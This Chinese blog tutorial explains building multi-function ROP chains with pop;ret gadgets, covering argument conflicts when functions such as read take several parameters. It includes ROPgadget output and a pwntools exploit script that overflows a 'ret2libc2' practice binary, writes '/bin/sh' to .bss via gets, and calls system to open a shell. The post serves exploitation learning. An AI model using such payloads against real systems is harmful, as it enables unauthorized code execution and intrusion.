首页 > 其他分享 >编写多个函数的ROP链

编写多个函数的ROP链

时间:2024-06-16 17:13:16浏览次数:12  
标签:函数 pop p32 ret ROP 编写 gets payload

我们已经学会了编写单个和两个简单函数的ROP链,在这里我们说一下,编写ROP链多个需要注意的问题
之前我们在学习两个函数的ROP时,编写了这样的payload

我们当时没有考虑,参数冲突和栈溢出大小,现在我们来说一说
举个例子,如果我们上次学习的两个函数的ROP中没有gets函数,而是read函数我们怎么办,read函数有三个参数,如果我们要像以前一样构建payload,那么read的第二个参数,就会和system的第一个参数冲突,导致无法将system 的第一个参数放在栈上,在编写多个函数的ROP中会遇见这样的问题,如何解决呢?


我们需要用到某个地址上的代码,这种代码的基本形式为pop*n + ret
运用这些命令就能把参数弹出,有几个参数就用几个pop命令,这里可以使用ROPgadget库来查找这些命令
这样我们就可以对上一次学的’编写两个函数的ROP‘进行改变,使其变得更合理

from pwn import *

p = process("./ret2libc2")
elf = ELF("./ret2libc2")
"""
ROPgadget --binary ./ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804861b : pop ebp ; ret
0x08048618 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x0804861a : pop edi ; pop ebp ; ret
0x08048619 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804848e : ret 0xeac1

Unique gadgets found: 7
"""

system = elf.plt["system"]
gets = elf.plt["gets"]
cmd = "/bin/sh"
bss_addr = 0x0804A200
pop1_ret = 0x0804861b
p.recvuntil("ret2libc2\n")
payload = "a" * 0x108 + p32(1)
payload += p32(gets) + p32(pop1_ret) + p32(bss_addr)
payload += p32(system) + p32(pop1_ret) + p32(bss_addr)
p.sendline(payload)
p.sendline(cmd)
p.interactive()

这里看一下payload,栈溢出之后控制返回地址为gets,gets的返回地址为pop1_ret,gets的参数的bss段一个地址,在执行完gets后返回pop1_ret执行pop命令使gets的参数出栈,然后执行ret(pop eip)命令,控制EIP为system地址,system也是相同原理

标签:函数,pop,p32,ret,ROP,编写,gets,payload
From: https://www.cnblogs.com/return1/p/18250896

相关文章

  • pytorch动态量化函数
    PyTorch动态量化APIPyTorch提供了丰富的动态量化API,可以帮助开发者轻松地将模型转换为动态量化模型。主要API包括:torch.quantization.quantize_dynamic:将模型转换为动态量化模型。torch.quantization.QuantStub:观察模型层的输入和输出分布。torch.quantization.Observer......
  • Unity的生命周期函数
    在Unity中,各个生命周期函数是在特定的时机被调用的,它们的执行顺序如下:1.Awake:当脚本实例被加载时调用,用于初始化数据。如果物体上有多个脚本,它们的Awake方法会在Start方法之前执行。2.OnEnable:当对象变为活动状态(enabled)或脚本被启用时调用。如果在场景加载后对象已经......
  • 编写单个函数的ROP链
    什么是ROP链在我初识栈溢出那篇博客已经详细的讲了函数的调用过程(基于X86框架),不了解的可以看一下,没有这个理论基础,是学不好ROP的。现在我们说一下什么是ROP。ROP链就是通过返回地址的修改来完成的编程,调用特定的函数的一种编程模式。我们可以联想一下你做的最简单的栈溢出的题,返......
  • 要将URL参数转换为JSON对象,可以使用以下函数:
    要将URL参数转换为JSON对象,可以使用以下函数:javascriptfunctiongetQueryParams(url){//使用正则表达式提取URL参数constparamsString=url.split('?')[1];if(!paramsString){return{};}//将参数字符串分割成数组,并解析键值对constparams=......
  • 6、Oracle中的分组函数
    最近项目要用到Oracle,奈何之前没有使用过,所以在B站上面找了一个学习视频,用于记录学习过程以及自己的思考。视频链接:【尚硅谷】Oracle数据库全套教程,oracle从安装到实战应用如果有侵权,请联系删除,谢谢。学习目标:了解组函数。描述组函数的用途。使用GROUPBY子句对数据分......
  • 【Linux】fork()函数详解|多进程
    ......
  • Cropwise AI | 先正达的一款人工智能农业产品
    拜耳的数字化农业平台有FieldView,先正达有Cropwise。FieldView其实来源于孟山都收购的Climate,而Cropwise同样来源于先正达收购的Strider。大鱼吃小虾,科技创新小公司最好的归宿好像就是被大厂收编。先正达的数字农业之路至少在2020年推出Cropwise就开始了,但已经落后了拜耳好几......
  • Crop Journal 以品种为导向的基因挖掘
    近日,四川农业大学刘登才组在《TheCropJournal》发表了综述文章:Towardscultivar-orientedgenediscoveryforbettercrops,回顾了引起基因发掘与品种创新“脱节”的几个常见问题,并提出了一些建议。许多基因在论文中被描述为有利于提高产量。但很少有真正转化为田间产量的增加......
  • The Crop Journal | 部分双列杂交设计的玉米产量基因组预测
    中国农业科学院作物科学研究所联合国际玉米小麦改良中心(CIMMYT)等单位在《TheCropJournal》发表论文:Genomicpredictionofyieldperformanceamongsingle-crossmaizehybridsusingapartialdiallelcrossdesign。希望根据中国黄淮河谷(夏播区,SUS)和东北(春播区,SPS)两大玉米......
  • 关于ES6的箭头函数和展开运算符
    使用ES6的箭头函数和展开运算符(...)可以简化使用逻辑与(&&)运算符的代码。这种方法通常用于当你有一组变量,并且想要在单个表达式中检查它们是否都满足特定条件时。以下是一个示例,展示如何使用箭头函数和展开运算符来简化检查多个变量是否都已定义且不为空的代码://假设有以下变量co......